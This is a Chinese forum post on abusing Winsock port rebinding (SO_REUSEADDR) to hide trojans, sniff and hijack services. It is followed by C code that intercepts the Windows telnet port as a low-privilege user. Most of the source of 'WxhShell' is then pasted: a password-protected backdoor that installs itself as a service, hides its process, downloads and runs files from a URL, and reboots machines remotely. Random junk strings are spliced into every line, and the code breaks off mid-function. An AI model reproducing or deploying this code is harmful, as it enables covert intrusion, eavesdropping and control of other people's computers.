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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zy^t95/m  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V+G.TI P  
i|?EgGFG  
  saddr.sin_family = AF_INET; ,UNCBnv1  
FZf{kWH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }TI"j{(QJ  
E4idEQ}H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I?<5 %  
GTgG0Ifeh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >NwS0j$j@  
uQk}  
  这意味着什么?意味着可以进行如下的攻击: lgWEB3f .  
t@m!k+0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0&XdCoIe  
r {R879  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n]{sBI3  
sl?> X)}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b9`vYnLk  
v/gxQy+l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  eLPWoQXt  
wl2P^Pj  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ]@LeyT'cY  
HG kL6o=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 S<fSoU+RJ  
36iDiT_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3msb"|DG  
hq+j8w}<-  
  #include Esx"nex  
  #include <vS3 [(  
  #include c"F3[mrff  
  #include    YytO*^e}}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m/TjXA8_  
  int main() e x" E50  
  { m ioNMDG  
  WORD wVersionRequested; rnX D(  
  DWORD ret; dA4DW  
  WSADATA wsaData; &/wd_;d^A  
  BOOL val; Dfz3\|LJ  
  SOCKADDR_IN saddr; 0G?*i_u\  
  SOCKADDR_IN scaddr; +h*-9  
  int err; EH1GdlhA  
  SOCKET s; @s7ZfV??  
  SOCKET sc; rx[l7F q  
  int caddsize; [9N>*dKB  
  HANDLE mt; !C]2:+z-MF  
  DWORD tid;   &=ZVU\o:  
  wVersionRequested = MAKEWORD( 2, 2 ); dZMf5=tb  
  err = WSAStartup( wVersionRequested, &wsaData ); `hpX97v  
  if ( err != 0 ) { :xwyE(w  
  printf("error!WSAStartup failed!\n"); _TLB1T^/4  
  return -1; ArK%?*`5  
  } KNvvYwFH]  
  saddr.sin_family = AF_INET; 0i|z$QRL~  
   K9 G1>*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZH<: g6  
oyfY>^bs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kz=Ql|@  
  saddr.sin_port = htons(23); ZRCm'p3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $F&m('aB8  
  { kxvzAKz~  
  printf("error!socket failed!\n"); J]mG!#9  
  return -1; yzI`&? P2  
  } bn*SLWWQ.3  
  val = TRUE; d-%bRGo/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,/%@:Fh4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SHcFnxEAIH  
  { 9Su4nt`i  
  printf("error!setsockopt failed!\n"); cpLlkR O  
  return -1; u([|^~H]  
  } ]:"<if gp$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9Ub##5$[,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |J:|56kVZq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -6KNMk   
r%=}e++^%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) T5<851rH  
  { Z.QgL=  
  ret=GetLastError(); r3;@  
  printf("error!bind failed!\n"); :o"9x,  
  return -1; mZG)#gW[  
  } G>@KX  
  listen(s,2); ;URvZ! {/Z  
  while(1) #S4lRVt5  
  { WWBm*?U  
  caddsize = sizeof(scaddr); HP,sNiw  
  //接受连接请求 Q%T[&A}3B  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #OMFv.  
  if(sc!=INVALID_SOCKET) F9}jiCom  
  { I,8f{T!O@"  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); v w  
  if(mt==NULL) w ag^Sk  
  { MJ?fMR@  
  printf("Thread Creat Failed!\n"); BG&XCn5g|  
  break; 5|<jPc  
  } ](@HPAG]  
  } 7$ze RYD+  
  CloseHandle(mt); #Ch*a.tI@  
  } '( ( pW  
  closesocket(s); {3LAK[ C  
  WSACleanup(); [C-4*qOaa2  
  return 0; y&&%%3  
  }   1-=ZIHW  
  DWORD WINAPI ClientThread(LPVOID lpParam) ATG;*nIP  
  { 93[&'  
  SOCKET ss = (SOCKET)lpParam; '$q=r x  
  SOCKET sc; kfW"vI+d  
  unsigned char buf[4096]; gVscdg5  
  SOCKADDR_IN saddr; je#OV,uHM  
  long num; !E@4^A80\W  
  DWORD val; uB@~xQ_V  
  DWORD ret; v? Ufx  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }mdk+IEt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,'Sj:l  
  saddr.sin_family = AF_INET; 63PSYj(y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^0tO2$  
  saddr.sin_port = htons(23); }N0$DqP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '#eY4d<i]n  
  { Y n7z#bu  
  printf("error!socket failed!\n"); r gw@  
  return -1; EGMIw?%Y`-  
  } $*')Sma  
  val = 100; I6e[K(7NY  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b2r]>*Vc  
  { zB68%  
  ret = GetLastError(); )q|a Sd  
  return -1; VFI\2n`  
  } ^:cc3wt'3[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I<+i87=  
  { EA``G8Vn>  
  ret = GetLastError(); |MMaaW^"  
  return -1; ;@<Rh^g]  
  } rNN ,!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3YO %$  
  { H.)Y*zK0.  
  printf("error!socket connect failed!\n"); ;O~k{5.iS  
  closesocket(sc); e2_p7   
  closesocket(ss); dJ(<zz+;b  
  return -1; ]8+ D  
  } <L'6CBbP  
  while(1) Q)[DSM  
  { qokCVI-\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]tx/t^&/\u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !)4'[5t"U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 IQ\5!e  
  num = recv(ss,buf,4096,0); $n= w  
  if(num>0) ia#8 ^z  
  send(sc,buf,num,0); XVfw0-O  
  else if(num==0) l.Q.G<ol  
  break; 8= "01  
  num = recv(sc,buf,4096,0); S Rb-eDk'  
  if(num>0) ,^1B"#0{C<  
  send(ss,buf,num,0); PJF1+I.%c#  
  else if(num==0) "&%Lhyt  
  break; 7U1^=Y@t}  
  } d=C&b]  
  closesocket(ss); Q+7+||RW  
  closesocket(sc); z]/!4+  
  return 0 ; .LI(2lP  
  } N8KH.P+  
-{z<+(K!$  
92(P~Sdv  
========================================================== hX)PdRk#  
^xX1G _{  
下边附上一个代码,,WXhSHELL 6o)RsxN eu  
) #l&BV5  
========================================================== -P:o ^_)g  
XGb*LY+Db6  
#include "stdafx.h" Ws/\ lD  
lj /IN[U/  
#include <stdio.h> QAzwNXE+  
#include <string.h> D k<NlH zp  
#include <windows.h> c5(4rT{(m  
#include <winsock2.h>  rrP_7D  
#include <winsvc.h> -q30tO.  
#include <urlmon.h> v\2- %  
u?rs6A[h#  
#pragma comment (lib, "Ws2_32.lib") 'Px}#f0IR  
#pragma comment (lib, "urlmon.lib") 0.kC|  
^AF~k#R  
#define MAX_USER   100 // 最大客户端连接数 G{74o8  
#define BUF_SOCK   200 // sock buffer . e_VPKF|  
#define KEY_BUFF   255 // 输入 buffer s4`,Z*H  
:MihVLF  
#define REBOOT     0   // 重启 ~%L=<TBAc  
#define SHUTDOWN   1   // 关机 ?mHu eX  
{BY(zsl  
#define DEF_PORT   5000 // 监听端口 %n^ugm0B  
: G'a"%x  
#define REG_LEN     16   // 注册表键长度 <Rfx`mn  
#define SVC_LEN     80   // NT服务名长度 Hxx]q+DAS  
Z+Cjg #+  
// 从dll定义API _BoYy JQH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _<%YLv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /'a\$G"%6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` >loleI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cD t|v~  
12@Ge]  
// wxhshell配置信息 k$|g)[RE  
struct WSCFG { Y|6gg  
  int ws_port;         // 监听端口 a+^,EY  
  char ws_passstr[REG_LEN]; // 口令 9@8'*a{`m  
  int ws_autoins;       // 安装标记, 1=yes 0=no WP{U9YF2  
  char ws_regname[REG_LEN]; // 注册表键名 9aBz%* xo  
  char ws_svcname[REG_LEN]; // 服务名 w>e+UW25Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8ZCR9%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b}&.IJ&40j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /@64xrvIl=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !u;gGgQF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MZ?+I~@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TVF:z_M9  
Vn65:" O  
}; @<3kj R?j  
twhT6wz"  
// default Wxhshell configuration >d(:XP6J  
struct WSCFG wscfg={DEF_PORT, ; +1ooeU  
    "xuhuanlingzhe", 2^%O%Pc  
    1, I9e3-2THfj  
    "Wxhshell", >Cam6LJ  
    "Wxhshell", seVT| z  
            "WxhShell Service", }.1}yz^y  
    "Wrsky Windows CmdShell Service", d;nk>6<|  
    "Please Input Your Password: ", 5+2qx)FZ  
  1, :F_>`{  
  "http://www.wrsky.com/wxhshell.exe", '~VF*i^4  
  "Wxhshell.exe" vdh[%T,&  
    }; V 4&a+MJ@  
=zTpDL  
// 消息定义模块 |]~],  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mQ9y{}t=4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LrT? ]o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ZH<qidpR  
char *msg_ws_ext="\n\rExit."; Qxfds`4V9i  
char *msg_ws_end="\n\rQuit."; 55ft ,a  
char *msg_ws_boot="\n\rReboot..."; U]W "  
char *msg_ws_poff="\n\rShutdown..."; {55f{5y3 c  
char *msg_ws_down="\n\rSave to "; H<tU[U=G  
klMpiy  
char *msg_ws_err="\n\rErr!"; KGGnypx`  
char *msg_ws_ok="\n\rOK!"; 6tGF  
yg6o#;  
char ExeFile[MAX_PATH]; kjDmwa+91T  
int nUser = 0; Nza@6nI"  
HANDLE handles[MAX_USER]; >2v<;.  
int OsIsNt; X|yVRQ?F`  
6n|][! f  
SERVICE_STATUS       serviceStatus; 4+89 M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [_`@ V4  
k;K-6<^h  
// 函数声明 0+k..l  
int Install(void); C~WWuju'  
int Uninstall(void); A-, hm=?  
int DownloadFile(char *sURL, SOCKET wsh); =b8u8*ua  
int Boot(int flag); |h\A5_0_  
void HideProc(void); T oT('  
int GetOsVer(void); jZH4]^De  
int Wxhshell(SOCKET wsl); =sso )/3  
void TalkWithClient(void *cs); 1SH]$V4C  
int CmdShell(SOCKET sock); Yr\quinLL  
int StartFromService(void); ,4=mlte"  
int StartWxhshell(LPSTR lpCmdLine); $wyPGok  
QX42^]({;c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2.^CIJc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CfVL'  
&?TXsxf1Zh  
// 数据结构和表定义 q8uq%wf  
SERVICE_TABLE_ENTRY DispatchTable[] = v(6[z)A0  
{ ~~O4!|t  
{wscfg.ws_svcname, NTServiceMain}, ,fhF-%Q!g  
{NULL, NULL} `(DHa=s1  
}; mM~&mAa+Z  
I%($,kd}s  
// 自我安装 U5OFw+J  
int Install(void) #M<YNuE#"  
{ M& )yr^  
  char svExeFile[MAX_PATH]; i(ZzE  
  HKEY key; HCx0'|J  
  strcpy(svExeFile,ExeFile); 7H|0.  
4l>U13~#  
// 如果是win9x系统,修改注册表设为自启动 QpA$='  
if(!OsIsNt) { JDW/Mc1bh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q`{Vs:8X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [e_<UF@A*  
  RegCloseKey(key); ?B@3A)a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gm &jlN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =*{7G*tS  
  RegCloseKey(key); C+>mehDC_G  
  return 0; H0jbG;  
    } R;fev 1mE  
  } WYP\J1sy  
} JpZ_cb`<E'  
else { (XlvPcTi  
HH0ck(u_A*  
// 如果是NT以上系统,安装为系统服务 /0!.u[t)~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0:-z+`RHE  
if (schSCManager!=0) ';}:*nZ//_  
{ 5s;@;V  
  SC_HANDLE schService = CreateService C(UWir3mW?  
  ( !Pt4\  
  schSCManager, @4KKm@(p85  
  wscfg.ws_svcname, l8:!{I?s=  
  wscfg.ws_svcdisp, -x:7K\=$SX  
  SERVICE_ALL_ACCESS, ,%qP   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !T2{xmHKv$  
  SERVICE_AUTO_START, $5\!ws<cZ  
  SERVICE_ERROR_NORMAL, {=,G>p  
  svExeFile, ! &cfX/y8  
  NULL, [k75+#'  
  NULL, yMzy!b Ky  
  NULL, Qmb+%z  
  NULL, epG]$T![  
  NULL 1]Cb i7  
  ); (D6ks5Uui  
  if (schService!=0) 4sX? O4p  
  { -m[ tYp,q  
  CloseServiceHandle(schService); !vVW8hbp  
  CloseServiceHandle(schSCManager); IWm@pfC+g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CIsX$W  
  strcat(svExeFile,wscfg.ws_svcname); =[[I<[BZq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \}%_FnP0ZU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .3jijc j  
  RegCloseKey(key); >o%X;U 3  
  return 0; &y7=tEV  
    } p!)PbSw#  
  } P)XR9&o':  
  CloseServiceHandle(schSCManager); S4c-i2Rq  
} :4x6dYNU  
} u\/TR#b  
1 <m.Q*  
return 1; mM2I  
} e>6W ^ )  
w~+\Mfz  
// 自我卸载 Jr%F#/  
int Uninstall(void) 8N$Xq\Da+>  
{ qrjSG%i~J7  
  HKEY key;  j=G  
C3N1t  
if(!OsIsNt) { YMy**  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Nw ]po+  
  RegDeleteValue(key,wscfg.ws_regname); m5a'Vs  
  RegCloseKey(key); VC_F Cz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =v!Z8zk=W  
  RegDeleteValue(key,wscfg.ws_regname); W voIh4]  
  RegCloseKey(key); 9$qw&j[  
  return 0; -e?n4YO*\  
  } VKw.g@BY  
} XR p60i6f  
} ,\1Rf.  
else { N)a5~<fBG  
TKbfZw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tr4\ `a-i  
if (schSCManager!=0) Yt{Z+.;9OI  
{ n5efHJU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L?P[{Ohh/  
  if (schService!=0) ^|vP").aQm  
  { Fp"c {  
  if(DeleteService(schService)!=0) { 9b&;4Yq!f  
  CloseServiceHandle(schService); b$pCp`/MT  
  CloseServiceHandle(schSCManager); /J Y6S  
  return 0; 1}SON4U  
  } k_Sm ep  
  CloseServiceHandle(schService); 7q 5 \]J[  
  } ?)-anoFyVW  
  CloseServiceHandle(schSCManager); ?' mP`9I  
} 69Z`mR  
} 7l09  
^^24a_+2  
return 1; -UAMHd}4  
} <Wj /A/  
wr(*RI"  
// 从指定url下载文件 O<mA+yk  
int DownloadFile(char *sURL, SOCKET wsh) +z#+}'mT%  
{ *lu*h&Y  
  HRESULT hr; EM1HwapD  
char seps[]= "/"; h/y0Q~|/d  
char *token; {w,<igh  
char *file; N6T  
char myURL[MAX_PATH]; (KfQ'B+  
char myFILE[MAX_PATH]; a*_&[  
7Up-a^k^`  
strcpy(myURL,sURL); s ya!VF]`  
  token=strtok(myURL,seps); Y t_t>  
  while(token!=NULL) ;*U&lT  
  { V`i(vC(  
    file=token; Zs;c0T ">  
  token=strtok(NULL,seps); 7TU77  
  } 9"/=D9o9  
,6f6r  
GetCurrentDirectory(MAX_PATH,myFILE); Se\iM s  
strcat(myFILE, "\\"); Q&@<?K9  
strcat(myFILE, file); Y{@foIZ  
  send(wsh,myFILE,strlen(myFILE),0); Nr"GxezU+A  
send(wsh,"...",3,0); 0C"2?etMx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7|[Dr@.S  
  if(hr==S_OK) C\;%IGn  
return 0; }N,v&  B  
else C.H(aX)7  
return 1; *+2BZ ZwT  
Z^J)]UL/  
} d7x6r3J$  
[iyhrc:@  
// 系统电源模块 xk,1 D  
int Boot(int flag) RUut7[r  
{ p_fsEY  
  HANDLE hToken; LJ9#!r@H  
  TOKEN_PRIVILEGES tkp; =+<DNW@%  
Wh"xt:  
  if(OsIsNt) { ~H[_=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V,\}|_GY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m1tc="j  
    tkp.PrivilegeCount = 1; RaymSh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '^ O}`   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;7JyL|2  
if(flag==REBOOT) { us<dw@P7{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y9%zo~]-W'  
  return 0; O -p^S  
} <K/iX%b?  
else { >Il{{{\>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :g-vy9vb  
  return 0; O-~cj7 0\  
} MRK3Cey}%  
  } OKj\>3  
  else { *Ct ^jU7  
if(flag==REBOOT) { P`_Q-vu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q%1B4 mF'  
  return 0; wLg@BSC.  
} Y]B9*^d<  
else { q'Y)Y(d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u=#_8e(9Z  
  return 0; Cs,t:ajP  
} ,ob)6P^rw  
} Q%V530 P;  
m8gU8a"(  
return 1; O"RIY3m  
} ]*{tno  
'X_%m~}N  
// win9x进程隐藏模块 \@^` G  
void HideProc(void) ^~bAixH^k  
{ <){J|O  
92*"3)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "9y 0]~  
  if ( hKernel != NULL ) uL~.#Y_jQ  
  { SuBUhzR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6Q*zZ]kg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .[6T7fdi  
    FreeLibrary(hKernel); COH>B1W@  
  } xR&Le/3+  
<bywi2]z  
return; =}F$r5]  
} qx?0]!x  
e\*N Lj_(  
// 获取操作系统版本 /AUX7 m.8  
int GetOsVer(void) TLz>|gr  
{ id1gK(F8H  
  OSVERSIONINFO winfo; 'puiahA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .bRDz:?j  
  GetVersionEx(&winfo); bHz H0v]:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cNl$ vP83z  
  return 1; v0pev;C  
  else 5&134!hC  
  return 0;  LD}<|  
} ovvg"/>L  
7X.B  
// 客户端句柄模块 V?jot<|$  
int Wxhshell(SOCKET wsl) o& ?:pE  
{ l<s6Uu"  
  SOCKET wsh; <VT|R~  
  struct sockaddr_in client; okbW.  ~  
  DWORD myID; [R/'hH5  
!XF:.|  
  while(nUser<MAX_USER) g'.(te |  
{ -&np/tEu&  
  int nSize=sizeof(client); (.g?|c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OX{2@+f#  
  if(wsh==INVALID_SOCKET) return 1; ^4a|gc  
h)X"<a++N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X`k#/~+0  
if(handles[nUser]==0) OkQtM nq  
  closesocket(wsh); oUN;u*  
else 1@^*tffL:  
  nUser++; l-6W]\v Z  
  } 6>Is-/hsy  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M#SGZ~=1r  
f;,^ ]mw  
  return 0; tE:6  
} L#u!T)!zW  
m Wh   
// 关闭 socket aByd,uSe)_  
void CloseIt(SOCKET wsh) R!RgQwEak  
{ 7JLjA\k  
closesocket(wsh); nSbcq>3  
nUser--; VCvFCyAz  
ExitThread(0); ~J|B  
} KU87WpjX  
EN@<z;  
// 客户端请求句柄 e>b|13X  
void TalkWithClient(void *cs) 'o ZdMl&  
{ oP`Qyk  
XWf1c ~J  
  SOCKET wsh=(SOCKET)cs; 9Cq"Szs  
  char pwd[SVC_LEN]; W JG8E7  
  char cmd[KEY_BUFF]; 0M; aTM  
char chr[1]; :qK^71gz  
int i,j; zdN(r<m9"  
V7,;N@FL  
  while (nUser < MAX_USER) { Uk0 0lPG.U  
,V ) |A=ml  
if(wscfg.ws_passstr) { $Rf)iW;h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B3@\Ua)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zd {\XW  
  //ZeroMemory(pwd,KEY_BUFF); C+aL8_(R  
      i=0; s.>;(RiJd  
  while(i<SVC_LEN) { =_vW7-H  
s )7sgP  
  // 设置超时 3;wOA4ur  
  fd_set FdRead; bA(-7l?  
  struct timeval TimeOut; @[hD;xO  
  FD_ZERO(&FdRead); ~L=? F  
  FD_SET(wsh,&FdRead); ge$p/  
  TimeOut.tv_sec=8; lQf38u||  
  TimeOut.tv_usec=0; ~_ |ZUb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); crr#tad.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .=/TT|eMS  
 7D\:i1~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !2]'S=Y  
  pwd=chr[0]; })5I/   
  if(chr[0]==0xd || chr[0]==0xa) { Ydh+iLjhx  
  pwd=0; DM3 %+ xY  
  break; 7H_*1_%ZQ  
  } *T0!q#R  
  i++; yMKVF`D*  
    } t@3y9U$  
OEXa^M4x   
  // 如果是非法用户,关闭 socket >vfbXnN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); rHD_sC*  
} fwz-)?   
bt 0Q6v5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *n2le7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I+']av8e  
tZ_D.syBAc  
while(1) { h7o?z!  
0z`-fQfK  
  ZeroMemory(cmd,KEY_BUFF); ^(T_rEp  
;;7: l,vy  
      // 自动支持客户端 telnet标准   d\j[O9W>  
  j=0; Tu_4kUCR!f  
  while(j<KEY_BUFF) { `z?h=&N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )wfqGkr=m!  
  cmd[j]=chr[0]; .dTXC'  
  if(chr[0]==0xa || chr[0]==0xd) { H{VJ S Jc{  
  cmd[j]=0; )]3_o!o  
  break; ,p9>/)l  
  } R}HNi(%"  
  j++; R9)"%SO<y  
    } \'-E[xNcWI  
V8" m_  
  // 下载文件 5PPaR|c3  
  if(strstr(cmd,"http://")) { e&ci\x%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^#)]ICV  
  if(DownloadFile(cmd,wsh)) tQmuok4"d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Avve8S  
  else G?5Vj_n  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NRDXWscb  
  } p\ _&  
  else { T!Z).PA#  
Q> J9M` a  
    switch(cmd[0]) { #Mrc!pT]xy  
  9UE)4*5  
  // 帮助 7~m[:Eg6[s  
  case '?': { v)%0`%nSR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tDn:B$*}W,  
    break; 1Y(NxC0P=g  
  } 4)NbQ[  
  // 安装 {&0u:  
  case 'i': { S)=3%toS>  
    if(Install()) VrnZrQj<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ktn:6=,  
    else #-8%g{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pra0:oHN  
    break; "-:-!1;Ji  
    } vhKHiw9L  
  // 卸载 cE+Y#jB  
  case 'r': { IT:8k5(L5j  
    if(Uninstall()) r!y3VmJ'm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7Ry"z6g;  
    else B2l5}"{ `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W*^_Ul|  
    break; :'X:cL  
    } wL~-k  
  // 显示 wxhshell 所在路径 HJt@m &H|  
  case 'p': { yGvBQ2kYb  
    char svExeFile[MAX_PATH]; x|GkXD3  
    strcpy(svExeFile,"\n\r"); BKk+<#Ti  
      strcat(svExeFile,ExeFile); vX<^x2~9(  
        send(wsh,svExeFile,strlen(svExeFile),0); G?<uw RV  
    break; ,j e  
    } f:KZP;/[c  
  // 重启 \t?rHB3"  
  case 'b': { h8hyQd$!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <N,:w`g#  
    if(Boot(REBOOT)) xzz0uk5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XS=f>e1<W  
    else { }0AoV&75  
    closesocket(wsh); @|EWif|  
    ExitThread(0); sr-tZ^d5S?  
    } e&-MP;kgW9  
    break; Fuy"JmeR  
    } $nr=4'y Z  
  // 关机 vC!B}~RG  
  case 'd': { P`AW8Y6o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =2e{T J/  
